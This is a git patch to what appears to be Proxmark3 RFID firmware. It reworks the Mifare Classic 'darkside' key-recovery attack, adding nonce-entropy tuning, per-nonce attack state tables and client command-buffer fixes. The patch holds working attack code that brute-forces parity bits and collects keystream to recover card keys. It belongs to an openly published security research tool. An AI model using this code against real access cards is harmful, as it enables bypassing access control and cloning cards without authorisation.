From e772353f72729f0dfc80a4d93c3a7bd2ac5ea775 Mon Sep 17 00:00:00 2001 From: "martin.holst@gmail.com" Date: Wed, 26 Jun 2013 21:13:02 +0000 Subject: [PATCH] Major changes to hf mf mifare --- armsrc/appmain.c | 2 +- armsrc/apps.h | 2 +- armsrc/iso14443a.c | 410 ++++++++++++++++++++++++++++++++++----------- client/cmdhfmf.c | 5 +- client/cmdhfmf.h | 25 +++ client/cmdmain.c | 22 ++- client/cmdmain.h | 2 +- 7 files changed, 367 insertions(+), 101 deletions(-) diff --git a/armsrc/appmain.c b/armsrc/appmain.c index 7fc399a6..cecf4d35 100644 --- a/armsrc/appmain.c +++ b/armsrc/appmain.c @@ -772,7 +772,7 @@ void UsbPacketReceived(uint8_t *packet, int len) break; case CMD_READER_MIFARE: - ReaderMifare(c->arg[0]); + ReaderMifare(c); break; case CMD_MIFARE_READBL: MifareReadBlock(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes); diff --git a/armsrc/apps.h b/armsrc/apps.h index 5ebe318f..2f003cc4 100644 --- a/armsrc/apps.h +++ b/armsrc/apps.h @@ -156,7 +156,7 @@ void RAMFUNC SniffMifare(uint8_t param); void EPA_PACE_Collect_Nonce(UsbCommand * c); // mifarecmd.h -void ReaderMifare(uint32_t parameter); +void ReaderMifare(UsbCommand *c); void MifareReadBlock(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *data); void MifareReadSector(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain); void MifareWriteBlock(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain); diff --git a/armsrc/iso14443a.c b/armsrc/iso14443a.c index bbe748b0..111d7139 100644 --- a/armsrc/iso14443a.c +++ b/armsrc/iso14443a.c @@ -1811,56 +1811,286 @@ void ReaderIso14443a(UsbCommand * c) LEDsoff(); } +#define TEST_LENGTH 100 +typedef struct mftest{ + uint8_t nt[8]; + uint8_t count; +}mftest ; + +/** + *@brief Tunes the mifare attack settings. This method checks the nonce entropy when + *using a specified timeout. + *Different cards behave differently, some cards require up to a second to power down (and thus reset + *token generator), other cards are fine with 50 ms. + * + * @param time + * @return the entropy. A value of 100 (%) means that every nonce was unique, while a value close to + *zero indicates a low entropy: the given timeout is sufficient to power down the card. + */ +int TuneMifare(int time) +{ + // Mifare AUTH + uint8_t mf_auth[] = { 0x60,0x00,0xf5,0x7b }; + uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET); + + iso14443a_setup(); + int TIME1=time; + int TIME2=2000; + uint8_t uid[8]; + uint32_t cuid; + byte_t nt[4]; + Dbprintf("Tuning... testing a delay of %d ms (press button to skip)",time); + + + mftest nt_values[TEST_LENGTH]; + int nt_size = 0; + int i = 0; + for(i = 0 ; i< 100 ; i++) + { + LED_C_OFF(); + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + SpinDelay(TIME1); + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD); + LED_C_ON(); + SpinDelayUs(TIME2); + if(!iso14443a_select_card(uid, NULL, &cuid)) continue; + + // Transmit MIFARE_CLASSIC_AUTH + ReaderTransmit(mf_auth, sizeof(mf_auth)); + + // Receive the (16 bit) "random" nonce + if (!ReaderReceive(receivedAnswer)) continue; + memcpy(nt, receivedAnswer, 4); + + //store it + int already_stored = 0; + for(int i = 0 ; i < nt_size && !already_stored; i++) + { + if( memcmp(nt, nt_values[i].nt, 4) == 0) + { + nt_values[i].count++; + already_stored = 1; + } + } + if(!already_stored) + { + mftest* ptr= &nt_values[nt_size++]; + //Clear it before use + memset(ptr, 0, sizeof(mftest)); + memcpy(ptr->nt, nt, 4); + ptr->count = 1; + } + + if(BUTTON_PRESS()) + { + Dbprintf("Tuning aborted prematurely"); + break; + } + } + /* + for(int i = 0 ; i < nt_size;i++){ + mftest x = nt_values[i]; + Dbprintf("%d,%d,%d,%d : %d",x.nt[0],x.nt[1],x.nt[2],x.nt[3],x.count); + } + */ + int result = nt_size *100 / i; + Dbprintf(" ... results for %d ms : %d %",time, result); + return result; +} + //----------------------------------------------------------------------------- // Read an ISO 14443a tag. Send out commands and store answers. // //----------------------------------------------------------------------------- -void ReaderMifare(uint32_t parameter) +#define STATE_SIZE 100 +typedef struct AttackState{ + byte_t nt[4]; + byte_t par_list[8]; + byte_t ks_list[8]; + byte_t par; + byte_t par_low; + byte_t nt_diff; + uint8_t mf_nr_ar[8]; +} AttackState; + + +int continueAttack(AttackState* pState,uint8_t* receivedAnswer) { - // Mifare AUTH - uint8_t mf_auth[] = { 0x60,0x00,0xf5,0x7b }; - uint8_t mf_nr_ar[] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; + // Transmit reader nonce and reader answer + ReaderTransmitPar(pState->mf_nr_ar, sizeof(pState->mf_nr_ar),pState->par); + + // Receive 4 bit answer + int len = ReaderReceive(receivedAnswer); + if (!len) + { + if (pState->nt_diff == 0) + { + pState->par++; + } else { + pState->par = (((pState->par >> 3) + 1) << 3) | pState->par_low; + } + return 2; + } + if(pState->nt_diff == 0) + { + pState->par_low = pState->par & 0x07; + } + //Dbprintf("answer received, parameter (%d), (memcmp(nt, nt_no)=%d",parameter,memcmp(nt, nt_noattack, 4)); + //if ( (parameter != 0) && (memcmp(nt, nt_noattack, 4) == 0) ) continue; + //isNULL = 0;//|| !(nt_attacked[0] == 0) && (nt_attacked[1] == 0) && (nt_attacked[2] == 0) && (nt_attacked[3] == 0); + // + // if ( /*(isNULL != 0 ) && */(memcmp(nt, nt_attacked, 4) != 0) ) continue; + + //led_on = !led_on; + //if(led_on) LED_B_ON(); else LED_B_OFF(); + pState->par_list[pState->nt_diff] = pState->par; + pState->ks_list[pState->nt_diff] = receivedAnswer[0] ^ 0x05; + + // Test if the information is complete + if (pState->nt_diff == 0x07) { + return 0; + } + + pState->nt_diff = (pState->nt_diff + 1) & 0x07; + pState->mf_nr_ar[3] = pState->nt_diff << 5; + pState->par = pState->par_low; + return 1; +} + +void reportResults(uint8_t uid[8],AttackState *pState, int isOK) +{ + LogTrace(pState->nt, 4, 0, GetParity(pState->nt, 4), TRUE); + LogTrace(pState->par_list, 8, 0, GetParity(pState->par_list, 8), TRUE); + LogTrace(pState->ks_list, 8, 0, GetParity(pState->ks_list, 8), TRUE); + + byte_t buf[48]; + memcpy(buf + 0, uid, 4); + if(pState != NULL) + { + memcpy(buf + 4, pState->nt, 4); + memcpy(buf + 8, pState->par_list, 8); + memcpy(buf + 16, pState->ks_list, 8); + } + + LED_B_ON(); + cmd_send(CMD_ACK,isOK,0,0,buf,48); + LED_B_OFF(); + + // Thats it... + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + LEDsoff(); + tracing = TRUE; + + if (MF_DBGLEVEL >= 1) DbpString("COMMAND mifare FINISHED"); +} + +void ReaderMifareBegin(uint32_t offset_time, uint32_t powerdown_time); + +/** + * @brief New implementation of ReaderMifare, the classic mifare attack. + * This implementation is backwards-compatible, but has some added parameters. + * @param c the usbcommand in complete + * c->arg[0] - nt_noattack (deprecated) + * c->arg[1] - offset_time us (0 => random) + * c->arg[2] - powerdown_time ms (0=> tuning) + * + */ +void ReaderMifare(UsbCommand *c) +{ + /* + * The 'no-attack' is not used anymore, with the introduction of + * state tables. Instead, we use an offset which is random. This means that we + * should not get stuck on a 'bad' nonce, so no-attack is not needed. + * Anyway, arg[0] is reserved for backwards compatibility + uint32_t nt_noattack_uint = c->arg[0]; + byte_t nt_noattack[4]; + num_to_bytes(parameter, 4, nt_noattack_uint); + + */ + /* + *IF, for some reason, you want to attack a specific nonce or whatever, + *you can specify the offset time yourself, in which case it won't be random. + * + * The offset time is microseconds, MICROSECONDS, not ms. + */ + uint32_t offset_time = c->arg[1]; + if(offset_time == 0) + { + //[Martin:]I would like to have used rand(), but linking problems prevented it + //offset_time = rand() % 4000; + //So instead, I found this nifty thingy, which seems to fit the bill + offset_time = GetTickCount() % 2000; + } + /* + * There is an implementation of tuning. Tuning will try to determine + * a good power-down time, which is different for different cards. + * If a value is specified from the packet, we won't do any tuning. + * A value of zero will initialize a tuning. + * The power-down time is milliseconds, that MILLI-seconds . + */ + uint32_t powerdown_time = c->arg[2]; + if(powerdown_time == 0) + { + //Tuning required + int entropy = 100; + int time = 25; + entropy = TuneMifare(time); + + while(entropy > 50 && time < 2000){ + //Increase timeout, but never more than 500ms at a time + time = MIN(time*2, time+500); + entropy = TuneMifare(time); + } + if(entropy > 50){ + Dbprintf("OBS! This card has high entropy (%d) and slow power-down. This may take a while", entropy); + } + powerdown_time = time; + } + //The actual attack + ReaderMifareBegin(offset_time, powerdown_time); +} +void ReaderMifareBegin(uint32_t offset_time, uint32_t powerdown_time) +{ + Dbprintf("Using power-down-time of %d ms, offset time %d us", powerdown_time, offset_time); + + /** + *Allocate our state-table and initialize with zeroes + **/ + + AttackState states[STATE_SIZE] ; + //Dbprintf("Memory allocated ok! (%d bytes)",STATE_SIZE*sizeof(AttackState) ); + memset(states, 0, STATE_SIZE*sizeof(AttackState)); + + // Mifare AUTH + uint8_t mf_auth[] = { 0x60,0x00,0xf5,0x7b }; uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET); // was 3560 - tied to other size changes - traceLen = 0; + + traceLen = 0; tracing = false; iso14443a_setup(); - LED_A_ON(); LED_B_OFF(); LED_C_OFF(); - byte_t nt_diff = 0; LED_A_OFF(); - byte_t par = 0; - //byte_t par_mask = 0xff; - byte_t par_low = 0; - int led_on = TRUE; uint8_t uid[8]; uint32_t cuid; - tracing = FALSE; - byte_t nt[4] = {0,0,0,0}; - byte_t nt_attacked[4], nt_noattack[4]; - byte_t par_list[8] = {0,0,0,0,0,0,0,0}; - byte_t ks_list[8] = {0,0,0,0,0,0,0,0}; - num_to_bytes(parameter, 4, nt_noattack); - int isOK = 0, isNULL = 0; - - while(TRUE) + byte_t nt[4]; + int nts_attacked= 0; + //Keeps track of progress (max value of nt_diff for our states) + int progress = 0; + int high_entropy_warning_issued = 0; + while(!BUTTON_PRESS()) { LED_C_OFF(); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - SpinDelay(50); + SpinDelay(powerdown_time); FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD); LED_C_ON(); - SpinDelay(2); - - // Test if the action was cancelled - if(BUTTON_PRESS()) { - break; - } + SpinDelayUs(offset_time); if(!iso14443a_select_card(uid, NULL, &cuid)) continue; @@ -1869,76 +2099,66 @@ void ReaderMifare(uint32_t parameter) // Receive the (16 bit) "random" nonce if (!ReaderReceive(receivedAnswer)) continue; - memcpy(nt, receivedAnswer, 4); - - // Transmit reader nonce and reader answer - ReaderTransmitPar(mf_nr_ar, sizeof(mf_nr_ar),par); - - // Receive 4 bit answer - if (ReaderReceive(receivedAnswer)) - { - if ( (parameter != 0) && (memcmp(nt, nt_noattack, 4) == 0) ) continue; - - isNULL = !(nt_attacked[0] == 0) && (nt_attacked[1] == 0) && (nt_attacked[2] == 0) && (nt_attacked[3] == 0); - if ( (isNULL != 0 ) && (memcmp(nt, nt_attacked, 4) != 0) ) continue; - - if (nt_diff == 0) - { - LED_A_ON(); - memcpy(nt_attacked, nt, 4); - //par_mask = 0xf8; - par_low = par & 0x07; - } - - led_on = !led_on; - if(led_on) LED_B_ON(); else LED_B_OFF(); - par_list[nt_diff] = par; - ks_list[nt_diff] = receivedAnswer[0] ^ 0x05; - - // Test if the information is complete - if (nt_diff == 0x07) { - isOK = 1; - break; - } - - nt_diff = (nt_diff + 1) & 0x07; - mf_nr_ar[3] = nt_diff << 5; - par = par_low; - } else { - if (nt_diff == 0) - { - par++; - } else { - par = (((par >> 3) + 1) << 3) | par_low; - } - } - } - - LogTrace(nt, 4, 0, GetParity(nt, 4), TRUE); - LogTrace(par_list, 8, 0, GetParity(par_list, 8), TRUE); - LogTrace(ks_list, 8, 0, GetParity(ks_list, 8), TRUE); - - byte_t buf[48]; -// UsbCommand ack = {CMD_ACK, {isOK, 0, 0}}; - memcpy(buf + 0, uid, 4); - memcpy(buf + 4, nt, 4); - memcpy(buf + 8, par_list, 8); - memcpy(buf + 16, ks_list, 8); - - LED_B_ON(); - cmd_send(CMD_ACK,isOK,0,0,buf,48); -// UsbSendPacket((uint8_t *)&ack, sizeof(UsbCommand)); - LED_B_OFF(); + memcpy(nt, receivedAnswer, 4); + + //Now we have the NT. Check if this NT is already under attack + AttackState* pState = NULL; + int i = 0; + for(i = 0 ; i < nts_attacked && pState == NULL; i++) + { + if( memcmp(nt, states[i].nt, 4) == 0) + { + //we have it + pState = &states[i]; + //Dbprintf("Existing state found (%d)", i); + } + } - // Thats it... - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - LEDsoff(); - tracing = TRUE; - - if (MF_DBGLEVEL >= 1) DbpString("COMMAND mifare FINISHED"); + if(pState == NULL){ + if(nts_attacked < STATE_SIZE ) + { + //Initialize a new state + pState = &states[nts_attacked++]; + //Clear it before use + memset(pState, 0, sizeof(AttackState)); + memcpy(pState->nt, nt, 4); + i = nts_attacked; + //Dbprintf("New state created, nt="); + }else if(!high_entropy_warning_issued){ + /** + *If we wound up here, it means that the state table was eaten up by potential nonces. This could be fixed by + *increasing the size of the state buffer, however, it points to some other problem. Ideally, we should get the same nonce + *every time. Realistically we should get a few different nonces, but if we get more than 50, there is probably somehting + *else that is wrong. An attack using too high nonce entropy will take **LONG** time to finish. + */ + DbpString("WARNING: Nonce entropy is suspiciously high, something is wrong. Check timeouts (and perhaps increase STATE_SIZE)"); + high_entropy_warning_issued = 1; + } + } + if(pState == NULL) continue; + + int result = continueAttack(pState, receivedAnswer); + + if(result == 1){ + //One state progressed another step + if(pState->nt_diff > progress) + { + progress = pState->nt_diff; + //Alert the user + Dbprintf("Recovery progress: %d/8, NTs attacked: %d ", progress,nts_attacked ); + } + //Dbprintf("State increased to %d in state %d", pState->nt_diff, i); + } + else if(result == 2){ + //Dbprintf("Continue attack no answer, par is now %d", pState->par); + } + else if(result == 0){ + reportResults(uid,pState,1); + return; + } + } + reportResults(uid,NULL,0); } - - //----------------------------------------------------------------------------- // MIFARE 1K simulate. // diff --git a/client/cmdhfmf.c b/client/cmdhfmf.c index 597841e1..c98b25da 100644 --- a/client/cmdhfmf.c +++ b/client/cmdhfmf.c @@ -28,7 +28,8 @@ int CmdHF14AMifare(const char *Cmd) UsbCommand c = {CMD_READER_MIFARE, {(uint32_t)bytes_to_num(keyBlock, 4), 0, 0}}; start: - SendCommand(&c); + clearCommandBuffer(); + SendCommand(&c); //flush queue while (ukbhit()) getchar(); @@ -41,7 +42,7 @@ start: // wait cycle while (true) { - printf("."); + //printf("."); fflush(stdout); if (ukbhit()) { getchar(); diff --git a/client/cmdhfmf.h b/client/cmdhfmf.h index 65b789bf..16dcccfb 100644 --- a/client/cmdhfmf.h +++ b/client/cmdhfmf.h @@ -27,4 +27,29 @@ int CmdHFMF(const char *Cmd); +int CmdHF14AMfDbg(const char* cmd); +int CmdHF14AMfRdBl(const char* cmd); +int CmdHF14AMfRdSc(const char* cmd); +int CmdHF14AMfDump(const char* cmd); +int CmdHF14AMfRestore(const char* cmd); +int CmdHF14AMfWrBl(const char* cmd); +int CmdHF14AMfChk(const char* cmd); +int CmdHF14AMifare(const char* cmd); +int CmdHF14AMfNested(const char* cmd); +int CmdHF14AMfSniff(const char* cmd); +int CmdHF14AMf1kSim(const char* cmd); +int CmdHF14AMfEClear(const char* cmd); +int CmdHF14AMfEGet(const char* cmd); +int CmdHF14AMfESet(const char* cmd); +int CmdHF14AMfELoad(const char* cmd); +int CmdHF14AMfESave(const char* cmd); +int CmdHF14AMfECFill(const char* cmd); +int CmdHF14AMfEKeyPrn(const char* cmd); +int CmdHF14AMfCSetUID(const char* cmd); +int CmdHF14AMfCSetBlk(const char* cmd); +int CmdHF14AMfCGetBlk(const char* cmd); +int CmdHF14AMfCGetSc(const char* cmd); +int CmdHF14AMfCLoad(const char* cmd); +int CmdHF14AMfCSave(const char* cmd); + #endif diff --git a/client/cmdmain.c b/client/cmdmain.c index 972558c3..64e0c1b4 100644 --- a/client/cmdmain.c +++ b/client/cmdmain.c @@ -25,6 +25,7 @@ #include "cmdmain.h" #include "util.h" + unsigned int current_command = CMD_UNKNOWN; //unsigned int received_command = CMD_UNKNOWN; //UsbCommand current_response; @@ -64,6 +65,8 @@ int CmdQuit(const char *Cmd) exit(0); return 0; } +int getCommand(UsbCommand* response); +void storeCommand(UsbCommand *command); /** * Waits for a certain response type. This method waits for a maximum of * ms_timeout milliseconds for a specified response command. @@ -83,9 +86,13 @@ bool WaitForResponseTimeout(uint32_t cmd, UsbCommand* response, size_t ms_timeou // Wait until the command is received for(size_t dm_seconds=0; dm_seconds < ms_timeout/10; dm_seconds++) { - if(getCommand(response) && response->cmd == cmd){ + while(getCommand(response)) + { + if(response->cmd == cmd){ //We got what we expected return true; + } + } msleep(10); // XXX ugh if (dm_seconds == 200) { // Two seconds elapsed @@ -205,6 +212,19 @@ void UsbCommandReceived(UsbCommand *UC) storeCommand(UC); } + +/** + * @brief This method should be called when sending a new command to the pm3. In case any old + * responses from previous commands are stored in the buffer, a call to this method should clear them. + * A better method could have been to have explicit command-ACKS, so we can know which ACK goes to which + * operation. Right now we'll just have to live with this. + */ +void clearCommandBuffer() +{ + //This is a very simple operation + cmd_tail = cmd_head; +} + /** * @brief storeCommand stores a USB command in a circular buffer * @param UC diff --git a/client/cmdmain.h b/client/cmdmain.h index a745fea7..ce4130bb 100644 --- a/client/cmdmain.h +++ b/client/cmdmain.h @@ -17,5 +17,5 @@ void UsbCommandReceived(UsbCommand *UC); void CommandReceived(char *Cmd); bool WaitForResponseTimeout(uint32_t cmd, UsbCommand* response, size_t ms_timeout); bool WaitForResponse(uint32_t cmd, UsbCommand* response); - +void clearCommandBuffer(); #endif -- 2.39.2